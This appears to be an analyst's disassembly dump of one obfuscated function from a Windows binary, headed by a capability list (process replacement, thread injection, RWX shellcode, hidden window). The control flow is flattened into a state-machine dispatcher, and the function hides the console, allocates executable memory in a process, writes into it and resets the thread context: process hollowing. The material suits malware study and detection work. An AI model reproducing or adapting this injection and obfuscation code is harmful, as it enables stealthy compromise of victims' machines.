Function at 0x10013870
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x10096480]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x114], 0xe39f88be
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x806eb3f0
je 0x100156c2
jmp 0x100138ac
mov eax, dword [ebp - 0x118]
sub eax, 0x80ae7917
je 0x100195c0
jmp 0x100138c2
mov eax, dword [ebp - 0x118]
sub eax, 0x82a18654
je 0x1001943a
jmp 0x100138d8
mov eax, dword [ebp - 0x118]
sub eax, 0x82cbdabe
je 0x10017165
jmp 0x100138ee
mov eax, dword [ebp - 0x118]
sub eax, 0x85b69461
je 0x100192df
jmp 0x10013904
mov eax, dword [ebp - 0x118]
sub eax, 0x85ff2831
je 0x100158d9
jmp 0x1001391a
mov eax, dword [ebp - 0x118]
sub eax, 0x890126bd
je 0x10016db8
jmp 0x10013930
mov eax, dword [ebp - 0x118]
sub eax, 0x890bfdaf
je 0x100191bf
jmp 0x10013946
mov eax, dword [ebp - 0x118]
sub eax, 0x8928ac98
je 0x100185b8
jmp 0x1001395c
mov eax, dword [ebp - 0x118]
sub eax, 0x896de5ea
je 0x10016d34
jmp 0x10013972
mov eax, dword [ebp - 0x118]
sub eax, 0x897c9243
je 0x10016358
jmp 0x10013988
mov eax, dword [ebp - 0x118]
sub eax, 0x89b765da
je 0x10018478
jmp 0x1001399e
mov eax, dword [ebp - 0x118]
sub eax, 0x8a404df4
je 0x10016cb5
jmp 0x100139b4
mov eax, dword [ebp - 0x118]
sub eax, 0x8d9fe237
je 0x10016ef0
jmp 0x100139ca
mov eax, dword [ebp - 0x118]
sub eax, 0x8df763b9
je 0x10016f50
jmp 0x100139e0
mov eax, dword [ebp - 0x118]
sub eax, 0x8e1abe2d
je 0x100192ee
jmp 0x100139f6
mov eax, dword [ebp - 0x118]
sub eax, 0x8f23305e
je 0x1001779d
jmp 0x10013a0c
mov eax, dword [ebp - 0x118]
sub eax, 0x8f7eddd8
je 0x10015faa
jmp 0x10013a22
mov eax, dword [ebp - 0x118]
sub eax, 0x8fb5ab0d
je 0x1001854a
jmp 0x10013a38
mov eax, dword [ebp - 0x118]
sub eax, 0x9087c250
je 0x10017aaa
jmp 0x10013a4e
mov eax, dword [ebp - 0x118]
sub eax, 0x911480d9
je 0x1001651b
jmp 0x10013a64
mov eax, dword [ebp - 0x118]
sub eax, 0x9116dbd0
je 0x100170b8
jmp 0x10013a7a
mov eax, dword [ebp - 0x118]
sub eax, 0x922fabf8
je 0x1001763c
jmp 0x10013a90
mov eax, dword [ebp - 0x118]
sub eax, 0x92bc8392
je 0x10016a89
jmp 0x10013aa6
mov eax, dword [ebp - 0x118]
sub eax, 0x936dec0d
je 0x100160da
jmp 0x10013abc
mov eax, dword [ebp - 0x118]
sub eax, 0x9398f7f0
je 0x10016875
jmp 0x10013ad2
mov eax, dword [ebp - 0x118]
sub eax, 0x93b15a57
je 0x10016330
jmp 0x10013ae8
mov eax, dword [ebp - 0x118]
sub eax, 0x9438d698
je 0x1001907b
jmp 0x10013afe
mov eax, dword [ebp - 0x118]
sub eax, 0x9600a56a
je 0x10016fb0
jmp 0x10013b14
mov eax, dword [ebp - 0x118]
sub eax, 0x97108d97
je 0x10018fd7
jmp 0x10013b2a
mov eax, dword [ebp - 0x118]
sub eax, 0x97bb8ec7
je 0x10016312
jmp 0x10013b40
mov eax, dword [ebp - 0x118]
sub eax, 0x98e2c9c8
je 0x10016866
jmp 0x10013b56
mov eax, dword [ebp - 0x118]
sub eax, 0x9939983d
je 0x100161aa
jmp 0x10013b6c
mov eax, dword [ebp - 0x118]
sub eax, 0x99e9e3e3
je 0x10017c4d
jmp 0x10013b82
mov eax, dword [ebp - 0x118]
sub eax, 0x9ca34910
je 0x100170ef
jmp 0x10013b98
mov eax, dword [ebp - 0x118]
sub eax, 0x9d6bc6b9
je 0x10017584
jmp 0x10013bae
mov eax, dword [ebp - 0x118]
sub eax, 0x9e926c80
je 0x10019807
jmp 0x10013bc4
mov eax, dword [ebp - 0x118]
sub eax, 0x9ed453fc
je 0x10017a8c
jmp 0x10013bda
mov eax, dword [ebp - 0x118]
sub eax, 0xa027530a
je 0x10017a9b
jmp 0x10013bf0
mov eax, dword [ebp - 0x118]
sub eax, 0xa050371b
je 0x10016ba8
jmp 0x10013c06
mov eax, dword [ebp - 0x118]
sub eax, 0xa2126de9
je 0x10018a8f
jmp 0x10013c1c
mov eax, dword [ebp - 0x118]
sub eax, 0xa364f412
je 0x1001932c
jmp 0x10013c32
mov eax, dword [ebp - 0x118]
sub eax, 0xa441d8f7
je 0x1001845a
jmp 0x10013c48
mov eax, dword [ebp - 0x118]
sub eax, 0xa4a628fa
je 0x10019484
jmp 0x10013c5e
mov eax, dword [ebp - 0x118]
sub eax, 0xa751f6b3
je 0x100175f2
jmp 0x10013c74
mov eax, dword [ebp - 0x118]
sub eax, 0xa7719f71
je 0x100182e3
jmp 0x10013c8a
mov eax, dword [ebp - 0x118]
sub eax, 0xaa175f4e
je 0x100193dc
jmp 0x10013ca0
mov eax, dword [ebp - 0x118]
sub eax, 0xaaa620cb
je 0x10016aae
jmp 0x10013cb6
mov eax, dword [ebp - 0x118]
sub eax, 0xab503400
je 0x10017e65
jmp 0x10013ccc
mov eax, dword [ebp - 0x118]
sub eax, 0xac317303
je 0x10017b20
jmp 0x10013ce2
mov eax, dword [ebp - 0x118]
sub eax, 0xac660408
je 0x100156b3
jmp 0x10013cf8
mov eax, dword [ebp - 0x118]
sub eax, 0xadfa4c21
je 0x10015568
jmp 0x10013d0e
mov eax, dword [ebp - 0x118]
sub eax, 0xae58c234
je 0x10018605
jmp 0x10013d24
mov eax, dword [ebp - 0x118]
sub eax, 0xaf445a57
je 0x1001977d
jmp 0x10013d3a
mov eax, dword [ebp - 0x118]
sub eax, 0xb0dcd4d3
je 0x100174ee
jmp 0x10013d50
mov eax, dword [ebp - 0x118]
sub eax, 0xb413e863
je 0x10019475
jmp 0x10013d66
mov eax, dword [ebp - 0x118]
sub eax, 0xb52d0b37
je 0x10018bd2
jmp 0x10013d7c
mov eax, dword [ebp - 0x118]
sub eax, 0xb53e9e6e
je 0x100190b1
jmp 0x10013d92
mov eax, dword [ebp - 0x118]
sub eax, 0xb57423ed
je 0x1001761a
jmp 0x10013da8
mov eax, dword [ebp - 0x118]
sub eax, 0xb57f92c7
je 0x100198e0
jmp 0x10013dbe
mov eax, dword [ebp - 0x118]
sub eax, 0xb6227325
je 0x10016645
jmp 0x10013dd4
mov eax, dword [ebp - 0x118]
sub eax, 0xb7957099
je 0x1001657b
jmp 0x10013dea
mov eax, dword [ebp - 0x118]
sub eax, 0xb80b441a
je 0x1001942b
jmp 0x10013e00
mov eax, dword [ebp - 0x118]
sub eax, 0xb891a663
je 0x10019365
jmp 0x10013e16
mov eax, dword [ebp - 0x118]
sub eax, 0xb9477b81
je 0x10019741
mov byte [ebp - 0xf1], 0
mov dword [ebp - 0x114], 0x12df1dd7
jmp 0x100198f9
mov dword [ebp - 0x114], 0x806eb3f0
jmp 0x100198f9
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
mov edx, ecx
add edx, 0x33164bcf
sub edx, 1
sub edx, 0x33164bcf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa364f412
mov ecx, 0x383f17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov eax, dword [ebp - 0xf8]
sub eax, 0x7ad159ec
add eax, 1
add eax, 0x7ad159ec
mov dword [ebp - 0x9c], eax
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
mov edx, ecx
sub edx, 0xa8244894
sub edx, 1
add edx, 0xa8244894
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xea3d11c5
mov ecx, 0x2ae549a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dword [ebp - 0x114], 0xc001c5ab
jmp 0x100198f9
mov dword [ebp - 0x114], 0xca082050
jmp 0x100198f9
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
mov edx, ecx
add edx, 0xf8536bff
sub edx, 1
sub edx, 0xf8536bff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe29c50ec
mov ecx, 0xf52f9fcd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dword [ebp - 0x114], 0xe2cf9e1b
jmp 0x100198f9
mov dword [ebp - 0x114], 0xca082050
jmp 0x100198f9
mov eax, 0x66371999
mov ecx, 0xf78019d4
cmp dword [ebp - 0x100], 0xefb8ec3
cmovg eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov eax, dword [0x10097a54]
mov ecx, dword [0x10097a50]
mov edx, eax
sub edx, 0xd973101e
sub edx, 1
add edx, 0xd973101e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3c35a7fb
mov ecx, 0x1dc48dcb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dword [ebp - 0x100], 1
mov dword [ebp - 0x114], 0xd63186ba
jmp 0x100198f9
mov dword [ebp - 0x114], 0x4c56d9e7
jmp 0x100198f9
mov dword [ebp - 0x114], 0x9398f7f0
jmp 0x100198f9
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
mov edx, ecx
add edx, 0x42f22cc8
sub edx, 1
sub edx, 0x42f22cc8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x12d685e3
mov ecx, 0x6e1ad3c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dword [ebp - 0x114], 0xfc6247a5
jmp 0x100198f9
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
mov edx, ecx
sub edx, 0x113aeb84
sub edx, 1
add edx, 0x113aeb84
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4a628fa
mov ecx, 0x6d353a92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dl, byte [ebp - 0x8c]
mov eax, 0x570bfd5f
mov ecx, 0x8a404df4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov byte [ebp - 0x102], 0
mov dword [ebp - 0x114], 0xd187a96
jmp 0x100198f9
mov dword [ebp - 0x114], 0x3ee2fafd
jmp 0x100198f9
mov eax, dword [0x10097a54]
mov ecx, dword [0x10097a50]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x77b31026
mov ecx, 0x1ab164f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dword [ebp - 0x114], 0xf02fdefa
jmp 0x100198f9
mov eax, dword [0x10097a54]
mov ecx, dword [0x10097a50]
mov edx, eax
sub edx, 0xa4bd4b2d
sub edx, 1
add edx, 0xa4bd4b2d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x55ef69b5
mov ecx, 0x439abf3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov byte [ebp - 0x103], 1
mov dword [ebp - 0x114], 0x757c1b2d
jmp 0x100198f9
mov dword [ebp - 0x114], 0x617c0e3a
jmp 0x100198f9
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
mov edx, ecx
add edx, 0x41a55b93
sub edx, 1
sub edx, 0x41a55b93
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4e96a
mov ecx, 0x82cbdabe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
cmp dword [ebp - 0x108], 0xefb8f15
setg al
and al, 1
mov byte [ebp - 0x8a], al
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4e96a
mov ecx, 0x75327082
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dword [ebp - 0x108], 1
mov dword [ebp - 0x114], 0x2edc6d8f
jmp 0x100198f9
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1a1da516
mov ecx, 0xa751f6b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dword [ebp - 0x114], 0x6b3817bb
jmp 0x100198f9
mov eax, 0x69075e73
mov ecx, 0x922fabf8
cmp dword [ebp - 0x10c], 0xefb8f04
cmovg eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dword [ebp - 0x10c], 0xefb8f08
mov dword [ebp - 0x114], 0x2b636a75
jmp 0x100198f9
mov eax, dword [ebp - 0x80]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x114], 0xf1ec3d7
jmp 0x100198f9
mov dword [ebp - 0x114], 0xa027530a
jmp 0x100198f9
mov dword [ebp - 0x114], 0x9087c250
jmp 0x100198f9
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
mov edx, ecx
sub edx, 0x230a62f5
sub edx, 1
add edx, 0x230a62f5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfe016327
mov ecx, 0xac317303
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov eax, dword [ebp - 0xf0]
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.1000e1a0
add esp, 4
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfe016327
mov ecx, 0x6dddeb81
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x114], 0xd823086a
jmp 0x100198f9
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfe69221
mov ecx, 0xcabb0e79
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dl, byte [ebp - 0x61]
mov eax, 0xb53e9e6e
mov ecx, 0x54353f2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dl, byte [ebp - 0x59]
mov eax, 0x89b765da
mov ecx, 0x3d51f9a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov eax, dword [ebp - 0xc8]
mov dword [eax], 0
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc4]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x114], 0xeea622f3
jmp 0x100198f9
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb9477b81
mov ecx, 0x8928ac98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dword [ebp - 0x114], 0x3d51f9a9
jmp 0x100198f9
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov dword [eax], 0
mov dword [ebp - 0x114], 0xe40f506f
jmp 0x100198f9
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
mov edx, ecx
add edx, 0xb0bdcacc
sub edx, 1
sub edx, 0xb0bdcacc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3809605a
mov ecx, 0xdeb85412
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x114], 0x1f0d023a
jmp 0x100198f9
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [0x10097a54]
mov ecx, dword [0x10097a50]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf127b59
mov ecx, 0x9438d698
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov dword [ebp - 0x114], 0x570180b2
jmp 0x100198f9
mov ecx, dword [0x10097a54]
mov eax, dword [0x10097a50]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb57f92c7
mov ecx, 0x1d3b8868
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100198f9
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x114], 0x17fee497
jmp 0x100198f9
mov dword [ebp - 0x114], 0x8e1abe2d
jmp 0x100198f9
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002c980
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x114], 0x383f17
jmp 0x100198f9
mov byte [ebp - 0xf9], 0
mov dword [ebp - 0x114], 0x7e07a993
jmp 0x100198f9
mov byte [ebp - 0xfa], 1
mov dword [ebp - 0x114], 0x761ef316
jmp 0x100198f9
mov dword [ebp - 0x114], 0xdd36fa02
jmp 0x100198f9
mov byte [ebp - 0x101], 0
mov dword [ebp - 0x114], 0xdaf7bf2b
jmp 0x100198f9
mov dword [ebp - 0x114], 0x74c7ac83
jmp 0x100198f9
mov dword [ebp - 0x114], 0x6d353a92
jmp 0x100198f9
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x70]
add ecx, 0x6652ce35
add ecx, eax
sub ecx, 0x6652ce35
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x114], 0x4cdad8e6
jmp 0x100198f9
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x114], 0xf1e5b1b4
jmp 0x100198f9
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0xa158907c
sub ecx, eax
sub ecx, 0xa158907c
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xac]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x114], 0x24af6986
jmp 0x100198f9
mov dword [ebp - 0x114], 0x1d3b8868
jmp 0x100198f9
jmp 0x10013890